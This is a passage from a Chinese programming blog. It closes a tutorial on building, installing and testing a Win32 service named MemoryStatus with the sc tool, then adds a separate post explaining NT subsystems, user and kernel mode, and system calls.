  每次你调用 SetServiceStatus 函数的时候,必须指定服务接收 STOP 和 SHUTDOWN 请求。Listing 2 示范了如何在 ControlHandler 函数中处理它们。

  STOP 请求是 SCM 终止服务的时候发送的。例如,如果用户在“服务”控制面板中手动终止服务。SHUTDOWN 请求是关闭机器时,由 SCM 发送给所有运行中服务的请求。两种情况的处理方式相同:

  写日志文件,监视停止;

  向 SCM 报告 SERVICE_STOPPED 状态;

  由于 ServiceStatus 结构对于整个程序而言为全局量,ServiceStatus 中的工作循环在当前状态改变或服务终止后停止。其它的控制请求如:PAUSE 和 CONTINUE 在本文的例子没有处理。

  控制处理器函数必须报告服务状态,即便 SCM 每次发送控制请求的时候状态保持相同。因此,不管响应什么请求,都要调用 SetServiceStatus。


 
图一 显示 MemoryStatus 服务的服务控制面板


  第四步:安装和配置服务

  程序编好了,将之编译成 exe 文件。本文例子创建的文件叫 MemoryStatus.exe,将它拷贝到 C:\MyServices 文件夹。为了在机器上安装这个服务,需要用 SC.EXE 可执行文件,它是 Win32 Platform SDK 中附带的一个工具。(译者注:Visaul Studio .NET 2003 IDE 环境中也有这个工具,具体存放位置在:C:\Program Files\Microsoft Visual Studio .NET 2003\Common7\Tools\Bin\winnt)。使用这个实用工具可以安装和移除服务。其它控制操作将通过服务控制面板来完成。以下是用命令行安装 MemoryStatus 服务的方法:


sc create MemoryStatus binpath= c:\MyServices\MemoryStatus.exe


  发出此创建命令。指定服务名和二进制文件的路径(注意 binpath= 和路径之间的那个空格)。安装成功后,便可以用服务控制面板来控制这个服务(参见图一)。用控制面板的工具栏启动和终止这个服务。



图二 MemoryStatus 服务的属性窗口


  MemoryStatus 的启动类型是手动,也就是说根据需要来启动这个服务。右键单击该服务,然后选择上下文菜单中的“属性”菜单项,此时显示该服务的属性窗口。在这里可以修改启动类型以及其它设置。你还可以从“常规”标签中启动/停止服务。以下是从系统中移除服务的方法:


sc delete MemoryStatus


  指定 “delete” 选项和服务名。此服务将被标记为删除,下次西通重启后,该服务将被完全移除。

  第五步:测试服务

  从服务控制面板启动 MemoryStatus 服务。如果初始化不出错,表示启动成功。过一会儿将服务停止。检查一下 C:\MyServices 文件夹中 memstatus.txt 文件的服务输出。在我的机器上输出是这样的:


Monitoring started.
273469440
273379328
273133568
273084416
Monitoring stopped.


  为了测试 MemoryStatus 服务在出错情况下的行为,可以将 memstatus.txt 文件设置成只读。这样一来,服务应该无法启动。

  去掉只读属性,启动服务,在将文件设成只读。服务将停止执行,因为此时日志文件写入失败。如果你更新服务控制面板的内容,会发现服务状态是已经停止。

  开发更大更好的服务程序

  理解 Win32 服务的基本概念,使你能更好地用 C++ 来设计包装类。包装类隐藏了对底层 Win32 函数的调用并提供了一种舒适的通用接口。修改 MemoryStatus 程序代码,创建满足自己需要的服务!为了实现比本文例子所示范的更复杂的任务,你可以创建多线程的服务,将作业划分成几个工作者线程并从 ServiceMain 函数中监视它们的执行。


2005年05月09日

 

什么是subsystem?
NT架构(Windows NT、Windows XP、Windows 2003)的初始设计是很有野心的,它希望在NT上可以不加修改地运行OS2、UNIX程序。
所以在NT中有subsystem的概念,每个subsystem针对一个平台,ntdll.dll是所有subsystem的基础。或者说ntdll.dll统一提供NT系统的API接口,subsystem为各个平台的应用程序提供包装。
在winnt.h中,对subsystem的定义如下:
#define IMAGE_SUBSYSTEM_UNKNOWN  0   // Unknown subsystem.
#define IMAGE_SUBSYSTEM_NATIVE 1   // Image doesn’t require a subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_GUI  2   // Image runs in the Windows GUI subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_CUI  3   // Image runs in the Windows character subsystem.
#define IMAGE_SUBSYSTEM_OS2_CUI  5   // image runs in the OS/2 character subsystem.
#define IMAGE_SUBSYSTEM_POSIX_CUI  7   // image runs in the Posix character subsystem.
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8   // image is a native Win9x driver.
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI  9   // Image runs in the Windows CE subsystem.
CUI就是Console UI了。我们使用的subsystem主要是3和2。

NT架构另一个主要概念就是用户态和核心态了。32位计算机的地址空间中,0×0-0×10000是保留的,然后0×80000000以下属于用户态,0×80000000以上属于核心态。核心态管理所有硬件。用户态不能使用核心态的任何东西。在核心态运行的程序,例如驱动程序,可以在系统中为所欲为,当然错误的后果会很严重。
我用Win32dsm查看了NT核心模块的导入表,整理了它们之间的调用关系:

在用户态看起来很底层的东西,例如Win32 subsystem的核心:kernel32.dll、user32.dll、gdi32.dll,基本上只是ntdll.dll的一个包装,而ntdll.dll包装了从用户态到核心态的system call,也称作“Native System Service”。
用户态不能访问核心态的任何函数和变量,所以system call不同于一般的API调用。system call可以被看作:将要调用的功能ID放到eax,然后执行INT 2e。
ntdll.dll通过system call使用核心态的ntoskrnl.exe和win32k.sys提供的功能。ntoskrnl.exe被尊称为“Executive”,可以看作是NT的大脑级模块。win32k.sys提供NT图形库接口的API。
HAL(硬件抽象层)是NT硬件访问的核心模块。